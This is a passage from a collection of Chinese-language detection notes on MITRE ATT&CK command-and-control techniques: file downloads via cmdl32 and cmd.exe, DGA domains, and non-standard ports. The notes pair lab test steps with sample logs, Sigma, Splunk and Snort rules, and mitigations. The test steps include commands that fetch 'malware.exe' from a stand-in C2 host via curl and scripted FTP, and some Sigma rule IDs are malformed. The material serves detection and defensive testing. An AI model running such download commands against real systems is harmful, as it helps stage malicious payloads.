(source=\"WinEventLog:Microsoft-Windows-Sysmon/Operational\" (EventID=1 Image=\"*cmdl32.exe\" CommandLine=\"*settings.txt*\") OR\n     (EventID=3 Image=\"*cmdl32.exe\") OR\n     (EventID=11 TargetFilename=\"*settings.txt\")) OR\n     (source=\"WinEventLog:Security\" EventCode=4688 Image=\"*cmdl32.exe\")\n     | stats count by Image, CommandLine, DestinationIp, DestinationPort, TargetFilename, User, ComputerName\n     ```\n\n5. **网络流量分析**：\n   - 检查`cmdl32.exe`的HTTP请求：\n     ```bash\n     tshark -f \"tcp port 8000\" -Y \"http.request\"\n     ```\n   - 使用IDS规则检测异常HTTP流量：\n     ```snort\n     alert tcp $HOME_NET any -> $EXTERNAL_NET 80,8000 (msg:\"Suspicious Cmdl32 HTTP Request\"; content:\"cmdl32\"; sid:1000009;)\n     ```\n\n6. **工具支持**：\n   - 使用Wireshark分析`cmdl32.exe`的HTTP流量。  \n   - 使用Sysinternals Process Monitor捕获`cmdl32.exe`的文件和网络活动。  \n   - 使用EDR工具（如CrowdStrike、Carbon Black）监控`cmdl32.exe`行为。  \n\n7. **威胁情报整合**：\n   - 检查下载URL或文件哈希是否与已知恶意样本匹配，结合威胁情报平台（如VirusTotal、AlienVault）。  \n\n## 建议\n\n### 缓解措施\n\n防御`cmdl32.exe`恶意下载需从工具限制、网络监控和文件控制入手：\n\n1. **限制Cmdl32执行**  \n   - 使用AppLocker限制`cmdl32.exe`：\n     ```powershell\n     New-AppLockerPolicy -RuleType Path -Path \"%SystemRoot%\\System32\\cmdl32.exe\" -Action Deny -User \"Everyone\"\n     ```\n\n2. **限制网络访问**  \n   - 配置防火墙阻止`cmdl32.exe`出站HTTP：\n     ```powershell\n     New-NetFirewallRule -DisplayName \"Block Cmdl32 HTTP\" -Direction Outbound -Action Block -Program \"%SystemRoot%\\System32\\cmdl32.exe\" -Protocol TCP -RemotePort 80,8000\n     ```\n\n3. **监控配置文件**  \n   - 配置Sysmon监控`settings.txt`创建：\n     ```xml\n     <RuleGroup name=\"FileCreate\" groupRelation=\"and\">\n       <FileCreate onmatch=\"include\">\n         <TargetFilename condition=\"end with\">settings.txt</TargetFilename>\n       </FileCreate>\n     </RuleGroup>\n     ```\n   - 使用文件完整性监控（FIM）检测异常配置文件。  \n\n4. **加强日志监控**  \n   - 启用Sysmon事件ID 1、3、11和Windows事件ID 4688，检测`cmdl32.exe`行为。  \n   - 配置SIEM实时告警`cmdl32.exe`执行或异常HTTP请求。  \n   - 使用EDR工具监控白名单程序滥用。  \n\n5. **定期审计**  \n   - 检查`cmdl32.exe`执行：\n     ```powershell\n     Get-WinEvent -LogName \"Microsoft-Windows-Sysmon/Operational\" | Where-Object { $_.Id -eq 1 -and $_.Message -match \"cmdl32.exe\" }\n     ```\n   - 检查网络连接：\n     ```powershell\n     Get-WinEvent -LogName \"Microsoft-Windows-Sysmon/Operational\" | Where-Object { $_.Id -eq 3 -and $_.Message -match \"cmdl32.exe\" }\n     ```\n\n6. **补丁管理**  \n   - 确保系统安装最新补丁，防止相关漏洞被利用。  \n\n## 参考推荐\n\n- MITRE ATT&CK: T1105  \n  <https://attack.mitre.org/techniques/T1105/>  \n- T00ls: Cmdl32代替Certutil  \n  <https://www.t00ls.cc/thread-63254-1-1.html>\n"
  },
  {
    "path": "Windows/12命令与控制/T1105-win-命令提示符网络链接.md",
    "content": "# T1105-Win-命令提示符网络链接\n\n## 描述\n\n攻击者利用命令提示符（`cmd.exe`）从外部系统下载工具或恶意文件到被攻陷环境（T1105），以实现工具部署、持久化或进一步攻击。`cmd.exe`作为Windows内置工具，常被滥用通过命令与控制（C2）通道或替代协议（如HTTP、FTP）下载文件。由于其合法性，`cmd.exe`的网络活动易被忽略，增加检测难度。常见场景包括使用`cmd.exe`调用`curl`、`bitsadmin`或`ftp`等工具从远程URL下载恶意软件，或直接执行远程脚本。\n\n检测重点在于识别`cmd.exe`发起的异常网络连接（尤其指向公网IP）、命令行参数及相关子进程行为。\n\n## 测试案例\n\n1. **HTTP文件下载**  \n   使用`cmd.exe`通过`curl`从远程URL下载恶意文件。  \n2. **FTP文件下载**  \n   使用`cmd.exe`调用`ftp.exe`从外部FTP服务器获取文件。  \n3. **远程脚本执行**  \n   使用`cmd.exe`执行远程PowerShell脚本，模拟C2通信。  \n\n### 示例命令\n- **HTTP下载**（需用户权限）：\n  ```cmd\n  curl -o test.exe http://c2.example.com/malware.exe\n  ```\n- **FTP下载**：\n  ```cmd\n  echo open ftp.example.com> ftp.txt\n  echo user ftpuser password>> ftp.txt\n  echo get malware.exe>> ftp.txt\n  echo quit>> ftp.txt\n  ftp -s:ftp.txt\n  ```\n- **清理**：\n  ```cmd\n  del test.exe\n  del ftp.txt\n  del malware.exe\n  ```\n\n## 检测日志\n\n**Windows安全日志**  \n- **事件ID 5156**：记录`cmd.exe`的网络连接（Windows Filtering Platform）。  \n- **事件ID 4688**：记录`cmd.exe`或其子进程（如`curl.exe`、`ftp.exe`）创建及命令行参数。  \n\n**Sysmon日志**  \n- **事件ID 1**：记录`cmd.exe`及其子进程创建，捕获命令行参数。  \n- **事件ID 3**：记录网络连接，捕获`cmd.exe`的出站流量（目标IP/端口）。  \n- **事件ID 11**：记录临时文件（如`ftp.txt`）创建。  \n\n**PowerShell日志**  \n- **事件ID 4104**：记录`cmd.exe`调用的PowerShell脚本执行。  \n\n**网络日志**  \n- 捕获`cmd.exe`发起的HTTP、FTP或其他协议流量。  \n\n**配置日志记录**  \n- 启用命令行参数记录：`计算机配置 > 管理模板 > 系统 > 审核进程创建 > 在进程创建事件中加入命令行 > 启用`。  \n- 启用PowerShell日志：`计算机配置 > 管理模板 > Windows组件 > Windows PowerShell > 启用模块日志和脚本块日志记录`。  \n- 配置Sysmon监控`cmd.exe`及网络连接：\n  ```xml\n  <RuleGroup name=\"ProcessCreate\" groupRelation=\"and\">\n    <ProcessCreate onmatch=\"include\">\n      <Image condition=\"end with\">cmd.exe</Image>\n    </ProcessCreate>\n  </RuleGroup>\n  ```\n- 配置IDS/IPS记录HTTP/FTP流量。\n\n## 测试复现\n\n### 环境准备\n- **靶机**：Windows 10/11或Windows Server 2016/2022。  \n- **权限**：用户权限（网络操作无需管理员）。  \n- **工具**：`cmd.exe`、`curl.exe`、`ftp.exe`（系统自带）、Sysmon、Wireshark、测试服务器（如`c2.example.com`）。  \n- **网络**：可控网络环境，允许HTTP/FTP出站流量。  \n- **日志**：启用Windows安全日志、Sysmon日志、PowerShell日志，配置网络监控。  \n\n### 攻击步骤\n1. **HTTP文件下载**  \n   ```cmd\n   curl -o test.exe http://127.0.0.1:8000/test.exe\n   ```\n\n2. **FTP文件下载**  \n   ```cmd\n   echo open 127.0.0.1> ftp.txt\n   echo user ftpuser password>> ftp.txt\n   echo get test.exe>> ftp.txt\n   echo quit>> ftp.txt\n   ftp -s:ftp.txt\n   ```\n\n3. **验证结果**  \n   - 检查Sysmon日志（网络连接）：\n     ```powershell\n     Get-WinEvent -LogName \"Microsoft-Windows-Sysmon/Operational\" | Where-Object { $_.Id -eq 3 -and $_.Message -match \"cmd.exe|curl.exe|ftp.exe\" }\n     ```\n   - 检查Windows安全日志：\n     ```powershell\n     Get-WinEvent -LogName Security | Where-Object { $_.Id -eq 5156 -and $_.Message -match \"cmd.exe\" }\n     ```\n   - 检查进程创建：\n     ```powershell\n     Get-WinEvent -LogName Security | Where-Object { $_.Id -eq 4688 -and $_.Message -match \"cmd.exe|curl.exe|ftp.exe\" }\n     ```\n   - 检查Netflow（Wireshark过滤`http`或`tcp.port == 21`）。  \n\n4. **清理**  \n   ```cmd\n   del test.exe\n   del ftp.txt\n   ```\n\n### 示例输出\n```cmd\ncurl -o test.exe http://127.0.0.1:8000/test.exe\n  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current\n                                 Dload  Upload   Total   Spent    Left  Speed\n100  1024  100  1024    0     0   1024      0  0:00:01  0:00:01 --:--:--  1024\n```\n\n```cmd\nftp -s:ftp.txt\nConnected to 127.0.0.1.\n220 FTP Server ready.\nUser: ftpuser\n331 Password required for ftpuser.\nPassword: password\n230 User ftpuser logged in.\nftp> get test.exe\n200 PORT command successful.\n226 Transfer complete.\nftp> quit\n221 Goodbye.\n```\n\n**注意**：测试需在合法授权环境进行，替换`c2.example.com`为测试服务器。\n\n## 日志解析\n\n- **Windows安全日志（事件ID 5156，网络连接）**：\n  ```plaintext\n  EventID: 5156\n  Application Information:\n    Process ID: 1752\n    Application Name: \\device\\harddiskvolume1\\windows\\system32\\cmd.exe\n  Network Information:\n    Direction: Outbound\n    Source Address: 192.168.1.100\n    Source Port: 50146\n    Destination Address: 127.0.0.1\n    Destination Port: 8000\n    Protocol: 6 (TCP)\n  Filter Information:\n    Filter Run-Time ID: 5\n    Layer Name: Connect\n    Layer Run-Time ID: 44\n  ```\n\n- **Windows安全日志（事件ID 4688，进程创建）**：\n  ```plaintext\n  EventID: 4688\n  Subject:\n    Security ID: CONTOSO\\User\n    Account Name: User\n    Account Domain: CONTOSO\n    Logon ID: 0x123456\n  Process Information:\n    New Process ID: 0x1f38\n    New Process Name: C:\\Windows\\System32\\curl.exe\n    Token Elevation Type: TokenElevationTypeLimited (3)\n    Mandatory Label: Mandatory Label\\Medium Mandatory Level\n    Creator Process ID: 0x2a1c\n    Creator Process Name: C:\\Windows\\System32\\cmd.exe\n    Process Command Line: curl -o test.exe http://127.0.0.1:8000/test.exe\n  ```\n\n- **Sysmon日志（事件ID 1，进程创建）**：\n  ```plaintext\n  EventID: 1\n  UtcTime: 2025-06-10 03:10:00.123\n  ProcessGuid: {12345678-abcd-1234-abcd-1234567890ab}\n  ProcessId: 7944\n  Image: C:\\Windows\\System32\\curl.exe\n  CommandLine: curl -o test.exe http://127.0.0.1:8000/test.exe\n  ParentImage: C:\\Windows\\System32\\cmd.exe\n  User: CONTOSO\\User\n  IntegrityLevel: Medium\n  ```\n\n- **Sysmon日志（事件ID 3，网络连接）**：\n  ```plaintext\n  EventID: 3\n  UtcTime: 2025-06-10 03:10:00.234\n  ProcessGuid: {12345678-abcd-1234-abcd-1234567890ab}\n  Image: C:\\Windows\\System32\\curl.exe\n  DestinationIp: 127.0.0.1\n  DestinationPort: 8000\n  Protocol: tcp\n  User: CONTOSO\\User\n  ```\n\n## 检测规则/思路\n\n**检测规则**  \n通过监控`cmd.exe`的网络连接、命令行参数及子进程行为，检测恶意文件下载或C2通信。以下是具体思路：\n\n1. **日志分析**：\n   - 监控Windows安全日志事件ID 5156，检测`cmd.exe`的出站网络连接（尤其指向公网IP）。  \n   - 监控Windows安全日志事件ID 4688，检测`cmd.exe`及其子进程（如`curl.exe`、`ftp.exe`）的命令行。  \n   - 监控Sysmon事件ID 1，检测`cmd.exe`调用的子进程及命令行参数。  \n   - 监控Sysmon事件ID 3，检测`cmd.exe`或子进程的HTTP/FTP连接。  \n   - 监控Sysmon事件ID 11，检测临时文件（如`ftp.txt`）创建。  \n   - 检查Netflow，检测`cmd.exe`发起的异常HTTP/FTP流量。  \n\n2. **Sigma规则（Cmd网络连接）**：\n   ```yaml\n   title: 命令提示符网络连接检测\n   id: i34567890-abcd-1234-5678-90123456stuv\n   status: stable\n   description: 检测cmd.exe发起的异常网络连接，可能用于文件下载或C2通信\n   references:\n     - https://attack.mitre.org/techniques/T1105/\n     - https://www.elastic.co/guide/en/siem/guide/current/command-prompt-network-connection.html\n   tags:\n     - attack.command_and_control\n     - attack.t1105\n   logsource:\n     product: windows\n     service: security\n   detection:\n     selection1:\n       EventID: 5156\n       Application|endswith: '\\cmd.exe'\n     selection2:\n       DestinationAddress:\n         - 10.0.0.0/8\n         - 172.16.0.0/12\n         - 192.168.0.0/16\n     condition: selection1 and not selection2\n   fields:\n     - Application\n     - DestinationAddress\n     - DestinationPort\n     - User\n   falsepositives:\n     - 合法网络工具使用\n     - 管理员调试\n   level: medium\n   ```\n\n3. **Sigma规则（Cmd子进程下载）**：\n   ```yaml\n   title: Cmd子进程文件下载检测\n   id: j45678901-abcd-2345-6789-01234567vwxy\n   status: experimental\n   description: 检测cmd.exe调用的子进程（如curl.exe、ftp.exe）执行文件下载\n   logsource:\n     product: windows\n     service: sysmon\n   detection:\n     selection:\n       EventID: 1\n       ParentImage|endswith: '\\cmd.exe'\n       Image|endswith:\n         - '\\curl.exe'\n         - '\\ftp.exe'\n         - '\\bitsadmin.exe'\n       CommandLine|contains:\n         - 'http://'\n         - 'ftp://'\n     condition: selection\n   fields:\n     - Image\n     - CommandLine\n     - ParentImage\n     - User\n   falsepositives:\n     - 合法文件下载\n     - 管理员操作\n   level: high\n   ```\n\n4. **Elastic Rule Query**：\n   ```kql\n   process.name:cmd.exe and event.action:\"Network connection detected (rule: NetworkConnect)\" and\n   not destination.ip:(10.0.0.0/8 or 172.16.0.0/12 or 192.168.0.0/16)\n   ```\n\n5. **SIEM规则**：\n   - 检测`cmd.exe`网络活动。\n   - 示例Splunk查询：\n     ```spl\n     (source=\"WinEventLog:Security\" EventCode=5156 Application=\"*cmd.exe\" NOT destination_ip IN (\"10.0.0.0/8\",\"172.16.0.0/12\",\"192.168.0.0/16\")) OR\n     (source=\"WinEventLog:Microsoft-Windows-Sysmon/Operational\" EventID=1 ParentImage=\"*cmd.exe\" Image IN (\"*curl.exe\",\"*ftp.exe\",\"*bitsadmin.exe\") CommandLine IN (\"*http://*\",\"*ftp://*\"))\n     | stats count by Image, CommandLine, DestinationIp, DestinationPort, User, ComputerName\n     ```\n\n6. **网络流量分析**：\n   - 检查`cmd.exe`的HTTP/FTP流量：\n     ```bash\n     tshark -f \"tcp port 80 or 21\" -Y \"http.request or ftp\"\n     ```\n   - 使用IDS规则检测异常流量：\n     ```snort\n     alert tcp $HOME_NET any -> $EXTERNAL_NET 80,21 (msg:\"Suspicious Cmd Network Traffic\"; content:\"cmd.exe\"; sid:1000010;)\n     ```\n\n7. **工具支持**：\n   - 使用Wireshark分析`cmd.exe`的网络流量。  \n   - 使用Sysinternals Process Monitor捕获`cmd.exe`的子进程和文件活动。  \n   - 使用EDR工具（如CrowdStrike、Carbon Black）监控`cmd.exe`行为。  \n\n8. **威胁情报整合**：\n   - 检查目标IP/URL是否与已知C2或恶意服务器匹配，结合威胁情报平台（如VirusTotal、AlienVault）。  \n\n## 建议\n\n### 缓解措施\n\n防御`cmd.exe`网络链接需从工具限制、网络监控和行为检测入手：\n\n1. **限制Cmd执行**  \n   - 使用AppLocker限制`cmd.exe`：\n     ```powershell\n     New-AppLockerPolicy -RuleType Path -Path \"%SystemRoot%\\System32\\cmd.exe\" -Action Deny -User \"Everyone\"\n     ```\n\n2. **限制网络访问**  \n   - 配置防火墙阻止`cmd.exe`出站流量：\n     ```powershell\n     New-NetFirewallRule -DisplayName \"Block Cmd Network\" -Direction Outbound -Action Block -Program \"%SystemRoot%\\System32\\cmd.exe\" -Protocol TCP -RemotePort 80,21\n     ```\n\n3. **监控子进程**  \n   - 配置Sysmon监控`cmd.exe`子进程：\n     ```xml\n     <RuleGroup name=\"ProcessCreate\" groupRelation=\"and\">\n       <ProcessCreate onmatch=\"include\">\n         <ParentImage condition=\"end with\">cmd.exe</ParentImage>\n       </ProcessCreate>\n     </RuleGroup>\n     ```\n\n4. **加强日志监控**  \n   - 启用Sysmon事件ID 1、3、11和Windows事件ID 5156、4688，检测`cmd.exe`行为。  \n   - 配置SIEM实时告警`cmd.exe`的公网连接或可疑子进程。  \n   - 使用EDR工具监控白名单程序滥用。  \n\n5. **定期审计**  \n   - 检查`cmd.exe`网络连接：\n     ```powershell\n     Get-WinEvent -LogName Security | Where-Object { $_.Id -eq 5156 -and $_.Message -match \"cmd.exe\" }\n     ```\n   - 检查子进程：\n     ```powershell\n     Get-WinEvent -LogName \"Microsoft-Windows-Sysmon/Operational\" | Where-Object { $_.Id -eq 1 -and $_.Message -match \"cmd.exe\" }\n     ```\n\n6. **补丁管理**  \n   - 确保系统安装最新补丁，防止相关漏洞被利用。  \n\n## 参考推荐\n\n- MITRE ATT&CK: T1105  \n  <https://attack.mitre.org/techniques/T1105/>  \n- Elastic: Command Prompt Network Connection  \n  <https://www.elastic.co/guide/en/siem/guide/current/command-prompt-network-connection.html>  \n- SecPulse: Cmd上传文件技巧  \n  <https://www.secpulse.com/archives/44450.html>"
  },
  {
    "path": "Windows/12命令与控制/T1568.002-动态解析-域名生成算法（DGA）.md",
    "content": "# T1568.002-动态解析-域名生成算法（DGA）\n\n## 描述\n\n攻击者可能使用域名生成算法（DGA，Domain Generation Algorithm）以程序化方式生成大量域名，用于命令和控制（C2）通信、恶意软件分发或其他恶意目的。DGA通过动态生成域名，增加防御者阻止、跟踪或接管C2通道的难度。恶意软件可利用DGA生成的域名与攻击者控制的服务器通信，当主要C2服务器不可用时，DGA可作为备用通道以重新建立联系。\n\nDGA生成的域名通常呈现以下形式：\n- **随机字符串型**：通过逐字母生成，域名看似“乱码”（如`istgmxdejdnxuyla.ru`）。\n- **单词拼接型**：将单词拼接形成域名（如`cityjulydish.net`）。\n- **基于时间/种子**：许多DGA基于时间（每小时、每天、每月等）或种子值生成域名，增加预测难度。\n\n攻击者利用DGA的动态特性，使防御者难以通过静态黑名单或域名阻断进行防御。\n\n## 测试案例\n\n### 用例\n- **C2通信**：恶意软件通过DGA生成域名，尝试连接攻击者控制的C2服务器。\n- **备用通道**：当主要C2服务器被阻断时，恶意软件使用DGA生成新域名重新建立联系。\n- **恶意文件分发**：通过DGA域名分发恶意可执行文件或脚本。\n\n### 示例场景\n- 恶意软件（如Emotet、Conficker）运行DGA算法，每天生成数百个域名，尝试解析并连接其中一个有效C2服务器。\n- 示例DGA域名：`xz7kpmq2v8n.ru`（随机字符串型）或`bluecloudriver.com`（单词拼接型）。\n\n### 所需权限\n- 用户权限（恶意软件执行环境）。\n\n### 操作系统\n- Windows、Linux、macOS（DGA技术与平台无关）。\n\n## 检测日志\n\n### 网络日志\n- **DNS查询日志**：捕获高频率、异常DNS查询，尤其是解析到非知名或新注册域名的查询。\n- **HTTP/HTTPS流量**：检测与DGA域名相关的网络连接请求。\n\n### 系统日志\n- **进程活动**：通过Sysmon或其他EDR工具监控恶意软件进程发起的DNS查询。\n- **文件操作**：检测恶意软件生成或访问DGA相关配置文件。\n\n### EDR日志\n- EDR工具（如Microsoft Defender for Endpoint、CrowdStrike）可能记录与DGA域名相关的异常网络活动或进程行为。\n\n## 测试复现\n\n### 环境准备\n- **靶机**：Windows 10/11或其他支持网络活动的系统。\n- **工具**：\n  - DGA模拟工具（如开源DGA生成器或恶意软件样本，如Emotet、Conficker）。\n  - Wireshark（捕获DNS和网络流量）。\n  - Sysmon（监控进程和DNS查询）。\n  - 测试DNS服务器（用于模拟DGA域名解析）。\n- **网络**：隔离网络环境，允许DNS查询和HTTP/HTTPS流量。\n- **日志**：启用DNS日志、Sysmon日志和EDR监控。\n\n### 攻击步骤\n1. **运行DGA模拟工具**：\n   - 使用开源DGA生成器（如Python脚本）生成一系列测试域名：\n     ```python\n     from datetime import datetime\n     def simple_dga(seed, date):\n         domains = []\n         for i in range(10):\n             domain = f\"test{i}{date.day}{seed}.com\"\n             domains.append(domain)\n         return domains\n     print(simple_dga(\"xyz\", datetime.now()))\n     # 输出示例：['test0xyz.com', 'test1xyz.com', ...]\n     ```\n2. **发起DNS查询**：\n   - 配置恶意软件或模拟脚本，循环解析生成的DGA域名，尝试连接C2服务器。\n3. **验证结果**：\n   - 使用Wireshark捕获DNS查询流量，检查是否包含大量异常域名。\n   - 检查Sysmon日志，确认进程发起的DNS请求。\n4. **清理**：\n   - 停止模拟工具，删除生成的测试文件。\n\n## 测试留痕\n以下为DNS查询日志示例（通过Wireshark或DNS服务器日志捕获）：\n```log\nTimestamp: 2025-06-08 12:51:23\nQuery: xz7kpmq2v8n.ru\nType: A\nSource IP: 192.168.1.100\nDestination: 8.8.8.8 (DNS Server)\nResponse: NXDOMAIN or IP address of C2 server\n```\n\n以下为Sysmon日志示例（事件ID 22，DNS查询）：\n```yml\nEventID: 22\nUtcTime: 2025-06-08 12:51:23.456\nProcessGuid: {12345678-9abc-def0-1234-56789abcdef0}\nProcessId: 1234\nImage: C:\\Program Files\\Malware\\malware.exe\nQueryName: xz7kpmq2v8n.ru\nQueryStatus: Success\nQueryResults: 192.168.1.200\n```\n\n## 检测方法/思路\n\n### Sigma规则\n基于Sigma规则，检测DGA域名的异常DNS查询行为：\n\n```yml\ntitle: Suspicious DGA Domain Activity\nid: d4e7f8c2-3a4b-5c6d-9e8f-1a2b3c4d5e6f\nstatus: experimental\ndescription: Detects potential DGA domain activity based on high-frequency or suspicious DNS queries\nreferences:\n- https://attack.mitre.org/techniques/T1568/002\nlogsource:\n  product: windows\n  category: dns_query\ndetection:\n  selection:\n    EventID: 22  # Sysmon DNS query event\n    QueryName|contains:\n      - '.ru'    # 示例：常见DGA域名后缀\n      - '.xyz'\n      - '.top'\n    QueryName|not_contains:\n      - 'microsoft.com'  # 白名单排除\n      - 'google.com'\n  condition: selection\nfalsepositives:\n- Legitimate high-frequency DNS queries (e.g., CDN domains)\n- Misconfigured applications\nlevel: medium\n```\n\n### 检测思路\n1. **DNS查询分析**：\n   - 监控高频率DNS查询，尤其是解析到非知名或新注册域名的查询。\n   - 使用频率分析、熵计算或N-Gram方法检测随机字符串型域名（如高熵值）。\n   - 检查单词拼接型域名（如`cityjulydish.net`）的比例或异常模式。\n2. **机器学习方法**：\n   - 部署基于N-Gram或深度学习的DGA检测模型，计算域名随机性得分，识别潜在DGA域名。\n   - 示例：高熵域名（如`xz7kpmq2v8n.ru`）触发告警。\n3. **网络流量监控**：\n   - 检测与DGA域名的HTTP/HTTPS连接，重点关注NXDOMAIN响应或连接到可疑IP。\n4. **进程关联**：\n   - 结合Sysmon事件ID 22（DNS查询）和1（进程创建），关联发起DGA查询的进程。\n5. **白名单过滤**：\n   - 维护CDN和合法域名的白名单，减少误报（如`akamai.net`、 `cloudflare.com`）。\n\n### 检测建议\n- **DNS日志分析**：配置DNS服务器或网络设备记录所有DNS查询，使用SIEM系统（如Splunk、Elastic）分析异常模式。\n- **机器学习模型**：部署DGA检测模型（如基于LSTM或随机森林），训练识别随机字符串或异常域名。\n- **威胁情报集成**：结合威胁情报，检查新注册域名或已知恶意域名。\n- **告警优化**：设置阈值（如短时间内高频NXDOMAIN响应）触发告警，降低误报率。\n\n## 缓解措施\n1. **DNS过滤**：\n   - 部署DNS防火墙（如Cisco Umbrella）或基于威胁情报的DNS解析服务，阻止已知DGA域名。\n2. **网络分段**：\n   - 限制内部主机直接发起外部DNS查询，强制使用内部DNS服务器。\n3. **行为监控**：\n   - 使用EDR工具监控异常DNS查询和相关进程行为。\n4. **白名单策略**：\n   - 限制系统仅解析受信任域名，阻止未知或新注册域名的解析。\n5. **定期更新防御**：\n   - 更新防病毒和EDR签名库，结合DGA检测算法，应对新型DGA变种。\n\n## 参考推荐\n- MITRE ATT&CK T1568.002  \n  https://attack.mitre.org/techniques/T1568/002\n"
  },
  {
    "path": "Windows/12命令与控制/T1571-非标准端口.md",
    "content": "# T1571-非标准端口\n\n## 描述\n\n攻击者可能通过非标准端口进行通信，以绕过网络过滤或混淆网络流量分析。例如，使用HTTP/HTTPS协议通过8088或587端口，而非传统的80或443端口。攻击者通过修改协议与端口的常规关联，增加防御者检测和阻止恶意通信的难度。这种技术常用于命令和控制（C2）通道、数据泄露或其他恶意活动。\n\n## 测试案例\n\n### 用例\n- **C2通信**：攻击者在非标准端口（如8088）上运行HTTPS服务器，恶意软件通过该端口与C2服务器通信。\n- **数据泄露**：使用非标准端口（如2525）通过SMTP协议发送窃取的数据。\n- **协议混淆**：在高端口（如50000）上运行伪装的HTTP流量，规避基于端口的防火墙规则。\n\n### 示例场景\n- 恶意软件通过TCP 8088端口发起HTTPS请求，连接到攻击者控制的C2服务器。\n- 攻击者使用TCP 2525端口通过SMTP协议传输敏感数据。\n\n### 所需权限\n- 用户权限（恶意软件执行环境）。\n\n### 操作系统\n- Windows、Linux、macOS（与平台无关）。\n\n## 检测日志\n\n### Netflow日志\n- 捕获异常端口的流量（如TCP 8088上的HTTPS或TCP 2525上的SMTP）。\n- 记录源IP、目标IP、端口号、协议和流量大小。\n\n### Sysmon日志\n- **事件ID 3**：记录异常网络连接，捕获非标准端口的流量。\n- **事件ID 1**：捕获发起异常连接的进程信息。\n\n### EDR日志\n- EDR工具（如Microsoft Defender for Endpoint、CrowdStrike）记录异常端口的网络活动或进程行为。\n\n### 防火墙日志\n- 检测非标准端口的出站或入站流量。\n\n## 测试复现\n\n### 环境准备\n- **靶机**：Windows 10/11或Linux。\n- **权限**：用户权限。\n- **工具**：\n  - Netcat或Python脚本（模拟非标准端口通信）。\n  - Wireshark（捕获网络流量）。\n  - Sysmon（监控进程和网络活动）。\n  - 测试服务器（运行在非标准端口，如8088）。\n- **网络**：隔离网络环境，允许非标准端口流量。\n- **日志**：启用Netflow、Sysmon和防火墙日志。\n\n### 攻击步骤\n1. **设置测试服务器**：\n   - 在测试服务器上运行HTTP服务，监听非标准端口（如8088）：\n     ```bash\n     python3 -m http.server 8088\n     ```\n2. **客户端发起请求**：\n   - 从靶机使用`curl`或`netcat`连接非标准端口：\n     ```bash\n     curl http://<server_ip>:8088\n     ```\n     或\n     ```bash\n     nc <server_ip> 8088\n     ```\n3. **验证结果**：\n   - 使用Wireshark捕获TCP 8088端口的流量，确认通信内容。\n   - 检查Sysmon日志，验证发起连接的进程和端口。\n4. **清理**：\n   - 停止测试服务器，删除临时文件。\n\n## 测试留痕\n以下为Netflow日志示例：\n```log\nTimestamp: 2025-06-08 12:53:45\nSource IP: 192.168.1.100\nDestination IP: 192.168.1.200\nSource Port: 49152\nDestination Port: 8088\nProtocol: TCP\nBytes Sent: 1024\nBytes Received: 512\n```\n\n以下为Sysmon日志示例（事件ID 3）：\n```yml\nEventID: 3\nUtcTime: 2025-06-08 12:53:45.123\nProcessGuid: {12345678-9abc-def0-1234-56789abcdef0}\nProcessId: 1234\nImage: C:\\Windows\\System32\\curl.exe\nSourceIp: 192.168.1.100\nSourcePort: 49152\nDestinationIp: 192.168.1.200\nDestinationPort: 8088\nProtocol: tcp\n```\n\n## 检测方法/思路\n\n### Sigma规则\n基于Sigma规则，检测非标准端口的异常网络活动：\n\n```yml\ntitle: Suspicious Non-Standard Port Activity\nid: f3a2b9c7-4e5f-4d8a-9c7e-2b3c4d5e6f7a\nstatus: experimental\ndescription: Detects network connections using non-standard ports for common protocols\nreferences:\n- https://attack.mitre.org/techniques/T1571\n- https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1571/T1571.md\nlogsource:\n  product: windows\n  category: network_connection\ndetection:\n  selection:\n    EventID: 3  # Sysmon network connection\n    DestinationPort|notin:\n      - 80    # HTTP\n      - 443   # HTTPS\n      - 25    # SMTP\n      - 53    # DNS\n    Protocol: tcp\n    Image|endswith:\n      - '\\curl.exe'\n      - '\\net.exe'\n      - '\\powershell.exe'\n  condition: selection\nfalsepositives:\n- Legitimate applications using non-standard ports\n- Custom internal services\nlevel: medium\n```\n\n### 检测思路\n1. **端口监控**：\n   - 检测常见协议（如HTTP、HTTPS、SMTP）使用非标准端口（如8088、2525）。\n   - 重点关注高端口（如>1024）上的异常流量。\n2. **数据流分析**：\n   - 分析数据包内容，检测协议与端口不匹配的行为（如TCP 8088上的HTTPS流量）。\n   - 检查异常流量模式（如客户端发送数据量明显大于接收数据量）。\n3. **进程关联**：\n   - 监控发起非标准端口连接的进程，检测通常无网络活动的进程（如`notepad.exe`）。\n4. **行为基线**：\n   - 建立组织内正常端口使用的基线，识别偏离基线的异常连接。\n5. **威胁情报**：\n   - 结合威胁情报，检测连接到已知恶意IP或域名的非标准端口流量。\n\n### 检测建议\n- **Netflow分析**：使用SIEM系统（如Splunk、Elastic）分析Netflow数据，检测非标准端口的异常流量。\n- **协议检查**：部署深度包检测（DPI）工具，验证端口与协议的一致性。\n- **EDR监控**：使用EDR工具（如Microsoft Defender for Endpoint）监控异常进程的网络活动。\n- **防火墙规则**：配置防火墙，限制非标准端口的出站流量，允许白名单端口。\n\n## 缓解措施\n1. **端口限制**：\n   - 配置防火墙，仅允许标准端口（如80、443）用于HTTP/HTTPS流量。\n2. **深度包检测**：\n   - 部署IDS/IPS，检测协议与端口不匹配的流量。\n3. **网络分段**：\n   - 限制内部主机直接访问外部非标准端口，强制通过代理服务器。\n4. **行为监控**：\n   - 使用EDR工具监控异常进程的网络连接行为。\n5. **白名单策略**：\n   - 建立合法端口和协议的白名单，阻止未授权的非标准端口通信。\n\n## 参考推荐\n- MITRE ATT&CK T1571  \n  https://attack.mitre.org/techniques/T1571  \n- Atomic-red-team T1571  \n  https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1571/T1571.md\n"
  },
  {
    "path": "Windows/12命令与控制/T1573-标准加密协议.md",
